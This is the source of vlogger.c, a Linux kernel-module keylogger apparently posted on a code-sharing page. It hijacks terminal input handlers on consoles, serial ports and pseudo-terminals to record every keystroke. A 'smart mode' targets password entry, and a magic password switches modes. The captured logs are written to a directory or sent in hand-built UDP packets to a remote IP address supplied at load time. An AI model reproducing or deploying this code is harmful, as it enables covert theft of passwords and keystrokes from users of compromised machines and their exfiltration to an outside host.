📄 vlogger.c
字号:
if ((count + tmp->lastpos) > MAX_BUFFER - 1) { logging(tty, tmp, 1); resetbuf(tmp); } if (count == 1) { if (cp[0] == VK_TOGLE_CHAR) { if (!strcmp(tmp->buf, magic_pass)) { if (log_mode < 2) log_mode++; else log_mode = 0; reset_all_buf(); switch (log_mode) { case VK_DUMBMODE: DPRINT("Dumb Mode\n"); TTY_WRITE(tty, "\r\n" "Dumb Mode\n", 12); break; case VK_SMARTMODE: DPRINT("Smart Mode\n"); TTY_WRITE(tty, "\r\n" "Smart Mode\n", 13); break; case VK_NORMAL: DPRINT("Normal Mode\n"); TTY_WRITE(tty, "\r\n" "Normal Mode\n", 14); } } } switch (cp[0]) { case 0x01: //^A append_c(tmp, "[^A]", 4); break; case 0x02: //^B append_c(tmp, "[^B]", 4); break; case 0x03: //^C append_c(tmp, "[^C]", 4); case 0x04: //^D append_c(tmp, "[^D]", 4); case 0x0D: //^M case 0x0A: if (log_mode == VK_SMARTMODE) { if (IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } else tmp->status = 1; } else { logging(tty, tmp, 0); resetbuf(tmp); } break; case 0x05: //^E append_c(tmp, "[^E]", 4); break; case 0x06: //^F append_c(tmp, "[^F]", 4); break; case 0x07: //^G append_c(tmp, "[^G]", 4); break; case 0x09: //TAB - ^I append_c(tmp, "[TAB]", 5); break; case 0x0b: //^K append_c(tmp, "[^K]", 4); break; case 0x0c: //^L append_c(tmp, "[^L]", 4); break; case 0x0e: //^E append_c(tmp, "[^E]", 4); break; case 0x0f: //^O append_c(tmp, "[^O]", 4); break; case 0x10: //^P append_c(tmp, "[^P]", 4); break; case 0x11: //^Q append_c(tmp, "[^Q]", 4); break; case 0x12: //^R append_c(tmp, "[^R]", 4); break; case 0x13: //^S append_c(tmp, "[^S]", 4); break; case 0x14: //^T append_c(tmp, "[^T]", 4); break; case 0x15: //CTRL-U resetbuf(tmp); break; case 0x16: //^V append_c(tmp, "[^V]", 4); break; case 0x17: //^W append_c(tmp, "[^W]", 4); break; case 0x18: //^X append_c(tmp, "[^X]", 4); break; case 0x19: //^Y append_c(tmp, "[^Y]", 4); break; case 0x1a: //^Z append_c(tmp, "[^Z]", 4); break; case 0x1c: //^\ append_c(tmp, "[^\\]", 4); break; case 0x1d: //^] append_c(tmp, "[^]]", 4); break; case 0x1e: //^^ append_c(tmp, "[^^]", 4); break; case 0x1f: //^_ append_c(tmp, "[^_]", 4); break; case BACK_SPACE_CHAR1: case BACK_SPACE_CHAR2: if (!tmp->lastpos) break; if (tmp->buf[tmp->lastpos - 1] != ']') tmp->buf[--tmp->lastpos] = 0; else { append_c(tmp, "[^H]", 4); } break; case ESC_CHAR: //ESC append_c(tmp, "[ESC]", 5); break; default: tmp->buf[tmp->lastpos++] = cp[0]; tmp->buf[tmp->lastpos] = 0; } } else { // a block of chars or special key if (cp[0] != ESC_CHAR) { while (count >= MAX_BUFFER) { append_c(tmp, cp, MAX_BUFFER); logging(tty, tmp, 1); resetbuf(tmp); count -= MAX_BUFFER; cp += MAX_BUFFER; } append_c(tmp, cp, count); } else // special key special_key(tmp, cp, count); }}voidmy_tty_open(void){ int fd, i; char dev_name[80]; for (i = 1; i < MAX_TTY_CON; i++) { snprintf(dev_name, sizeof(dev_name) - 1, "/dev/tty%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd >= 0) close(fd); END_KMEM } for (i = 0; i < MAX_PTS_CON; i++) { snprintf(dev_name, sizeof(dev_name) - 1, "/dev/pts/%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd >= 0) close(fd); END_KMEM }}voidnew_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count){ struct tlogger *tmp = ttys[TTY_INDEX(tty)]; if (!tty->real_raw && !tty->raw) vlogger_process(tty, cp, count); if (tmp->old_rbuf) tmp->old_rbuf(tty, cp, fp, count);}inline voidinit_tty(struct tty_struct *tty, int tty_index){ struct tlogger *tmp; DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty)); if (ttys[tty_index] == NULL) { tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL); if (!tmp) { DPRINT("kmalloc failed!\n"); return; } memset(tmp, 0, sizeof(struct tlogger)); tmp->tty = tty; tmp->old_rbuf = tty->ldisc.receive_buf; tty->ldisc.receive_buf = new_receive_buf; ttys[tty_index] = tmp; } else { tmp = ttys[tty_index]; logging(tty, tmp, 1); resetbuf(tmp); tmp->old_rbuf = tty->ldisc.receive_buf; tty->ldisc.receive_buf = new_receive_buf; }}asmlinkage intnew_driver_open(struct tty_struct *tty, struct file *filp){ unsigned long flags; int ret; DPRINT("driver_open: dev=%s%d - driver_open = %p\n", TTY_NAME(tty), TTY_NUMBER(tty), tty->driver.open); switch (tty->driver.type) { case TTY_DRIVER_TYPE_CONSOLE: ret = old_vc_open(tty, filp); break; case TTY_DRIVER_TYPE_SERIAL: ret = old_serial_open(tty, filp); break; case TTY_DRIVER_TYPE_PTY: ret = old_pty_open(tty, filp); break; default: DPRINT("wth?"); return -1; } if (log_mode == VK_DISABLE) return ret; if (ret >= 0) { spin_lock_irqsave(&vlogger_lock, flags); if (tty != NULL && ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE && TTY_NUMBER(tty) < MAX_TTY_CON - 1) || (tty->driver.type == TTY_DRIVER_TYPE_PTY && tty->driver.subtype == PTY_TYPE_SLAVE && TTY_NUMBER(tty) < MAX_PTS_CON)) && tty->ldisc.receive_buf != NULL && tty->ldisc.receive_buf != new_receive_buf) { init_tty(tty, TTY_INDEX(tty)); } spin_unlock_irqrestore(&vlogger_lock, flags); } return ret;}struct tty_driver *tty_drivers;intinit_logger(void){ struct tty_driver *p; struct tty_struct *tty; struct file *file; char *devname = "/dev/tty1"; int fd; BEGIN_KMEM fd = open(devname, O_RDONLY, 0); if (fd < 0) return -1; file = fget(fd); tty = file->private_data; if (tty == NULL || tty->driver.open == NULL) { fput(file); close(fd); return -1; } fput(file); close(fd); END_KMEM p = tty_drivers = &tty->driver; while (p != NULL) { tty_drivers = p; p = p->prev; } if (tty_drivers == NULL) return -1; p = tty_drivers; do { DPRINT ("tty_driver: %s/MA%d/MI%d - type=%d/%d - open=%p/close=%p\n", p->name, p->major, p->minor_start + p->num, p->type, p->subtype, p->open, p->close); switch (p->type) { case TTY_DRIVER_TYPE_CONSOLE: old_vc_open = p->open; p->open = new_driver_open; break; case TTY_DRIVER_TYPE_SERIAL: old_serial_open = p->open; p->open = new_driver_open; break; case TTY_DRIVER_TYPE_PTY: old_pty_open = p->open; p->open = new_driver_open; break; } p = p->next; } while (p != NULL); return 0;}DECLARE_WAIT_QUEUE_HEAD(wq);voidcleanup_logger(void){ struct tty_driver *p; int i; log_mode = VK_DISABLE; p = tty_drivers; do { switch (p->type) { case TTY_DRIVER_TYPE_CONSOLE: p->open = old_vc_open; break; case TTY_DRIVER_TYPE_SERIAL: p->open = old_serial_open; break; case TTY_DRIVER_TYPE_PTY: p->open = old_pty_open; break; } p = p->next; } while (p != NULL); for (i = 0; i < MAX_TTY_CON + MAX_PTS_CON; i++) { if (ttys[i] != NULL) { //ttys[i]->tty->ldisc.flush_buffer(ttys[i]->tty); //segfault on some box ttys[i]->tty->ldisc.receive_buf = ttys[i]->old_rbuf; } } sleep_on_timeout(&wq, HZ); for (i = 0; i < MAX_TTY_CON + MAX_PTS_CON; i++) { if (ttys[i] != NULL) { kfree(ttys[i]); } }}static inline intdev_direct_send(struct sk_buff *skb){ struct net_device *dev = skb->dev; spin_lock_bh(&dev->queue_lock); if (dev->flags & IFF_UP) { int cpu = smp_processor_id(); if (dev->xmit_lock_owner != cpu) { spin_unlock(&dev->queue_lock); spin_lock(&dev->xmit_lock); dev->xmit_lock_owner = cpu; if (!netif_queue_stopped(dev)) { if (dev->hard_start_xmit(skb, dev) == 0) { dev->xmit_lock_owner = -1; spin_unlock_bh(&dev->xmit_lock); return 0; } } dev->xmit_lock_owner = -1; spin_unlock_bh(&dev->xmit_lock); kfree_skb(skb); return -ENETDOWN; } } spin_unlock(&dev->queue_lock); kfree_skb(skb); return -ENETDOWN;}/* * Send out packet */static voidip_direct_send(struct sk_buff *skb){ struct dst_entry *dst = skb->dst; struct hh_cache *hh = dst->hh; if (hh) { read_lock_bh(&hh->hh_lock); memcpy(skb->data - 16, hh->hh_data, 16); read_unlock_bh(&hh->hh_lock); skb_push(skb, hh->hh_len); dev_direct_send(skb); } else if (dst->neighbour) { if (!neigh_resolve(skb)) dev_direct_send(skb); else kfree_skb(skb); } else { kfree_skb(skb); }}inline struct sk_buff *gen_udp_skb(struct tty_struct *tty, const char *msg, unsigned int msg_len){ int total_len, eth_len, ip_len, udp_len; unsigned long flags; struct sk_buff *skb; struct udphdr *udph; struct iphdr *iph; struct rtable *rt; udp_len = msg_len + HEADER_LEN + sizeof(*udph); ip_len = eth_len = udp_len + sizeof(*iph); total_len = eth_len + ETH_HLEN; skb = alloc_skb(total_len, GFP_ATOMIC); if (!skb) { DPRINT("Failed to alloc new skb\n"); return NULL; } atomic_set(&skb->users, 1); skb_reserve(skb, total_len - msg_len - HEADER_LEN); skb->data[0] = SEND_CMD; spin_lock_irqsave(&sequence_lock, flags); put_unaligned(htonl(offset), (u32 *) (skb->data + 1)); offset += msg_len; spin_unlock_irqrestore(&sequence_lock, flags); if (tty != NULL) { char ttyname[TTYNAME_LEN]; snprintf(ttyname, TTYNAME_LEN - 1, "%s%d", TTY_NAME(tty), TTY_NUMBER(tty)); ttyname[TTYNAME_LEN - 1] = 0; memcpy(skb->data + OFFSET_LEN + 1, ttyname, TTYNAME_LEN); } else skb->data[OFFSET_LEN + 1] = 0; memcpy(skb->data + HEADER_LEN, msg, msg_len); skb->len += msg_len + HEADER_LEN; udph = (struct udphdr *) skb_push(skb, sizeof(*udph)); udph->source = source_port; udph->dest = dest_port; udph->len = htons(udp_len); udph->check = 0; udph->check = csum_tcpudp_magic(saddr, daddr, udp_len, IPPROTO_UDP, csum_partial((unsigned char *) udph, udp_len, 0)); if (ip_route_output(&rt, daddr, 0, 0, 0)) { DPRINT("can not route\n"); kfree_skb(skb); return NULL; } skb->dst = dst_clone(&rt->u.dst); skb->dev = skb->dst->dev; /* grab first IP address of output device if saddr isnt set */ if (!saddr) { struct in_device *indev; indev = (struct in_device *) skb->dev->ip_ptr; if (indev == NULL) { DPRINT("No associated in_device\n"); /* use broadcast ip address */ saddr = htonl(INADDR_BROADCAST); } saddr = indev->ifa_list->ifa_local; } iph = (struct iphdr *) skb_push(skb, sizeof(*iph)); iph->version = 4; iph->ihl = 5; iph->tos = 0; iph->id = 0; iph->ttl = 64; iph->frag_off = htons(IP_DF); iph->tot_len = htons(ip_len); iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = saddr; iph->daddr = daddr; iph->check = ip_fast_csum((unsigned char *) iph, iph->ihl); skb->protocol = htons(ETH_P_IP); skb->h.uh = udph; skb->nh.iph = iph; DPRINT ("DEV=%s SRC=%u.%u.%u.%u DST=%u.%u.%u.%u SPT=%d DPT=%d\n", skb->dev->name, NIPQUAD(iph->saddr), NIPQUAD(iph->daddr), ntohs(udph->source), ntohs(udph->dest)); return skb;}voidnet_send_msg(struct tty_struct *tty, const char *msg, unsigned int msg_len){ int len, left = msg_len; while (left > 0) { struct sk_buff *skb; if (left > MAX_PRINT_CHUNK) len = MAX_PRINT_CHUNK; else len = left; skb = gen_udp_skb(tty, msg, msg_len); if (!skb) return; ip_direct_send(skb); msg += len; left -= len; }}char *dest_ip;char *src_ip;int src_port, dst_port;MODULE_PARM(src_ip, "s");MODULE_PARM(dest_ip, "s");MODULE_PARM(src_port, "h");MODULE_PARM(dst_port, "h");intinit_netlog(void){ if (src_ip != NULL) saddr = in_aton(src_ip); if (dest_ip != NULL) daddr = in_aton(dest_ip); if (!daddr) return -1; source_port = htons(src_port); dest_port = htons(dst_port); if (!dst_port) return -1; return 0;}MODULE_PARM(logdir, "s");intinit_filelog(void){ if (logdir == NULL) return -1; return 0;}MODULE_PARM(log_method, "i");MODULE_PARM(log_mode, "i");MODULE_PARM(magic_pass, "s");MODULE_PARM(timezone, "i");static intinit_vlogger(void){ int tmp; if (log_method == 1) { if (init_netlog()) return -1; } else if (init_filelog()) return -1; if (magic_pass == NULL) return -1; timezone = timezone * 60 * 60; tmp = log_mode; log_mode = VK_DISABLE; if (init_logger()) return -1; if (tmp > -1 && tmp < 3) log_mode = tmp; else log_mode = VK_DUMBMODE; my_tty_open(); DPRINT(MVERSION); // MOD_INC_USE_COUNT; return 0;}static voidcleanup_vlogger(void){ cleanup_logger(); DPRINT("Unloaded\n");}module_init(init_vlogger);module_exit(cleanup_vlogger);MODULE_LICENSE("GPL");MODULE_AUTHOR("rd@thc.org");EXPORT_NO_SYMBOLS;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -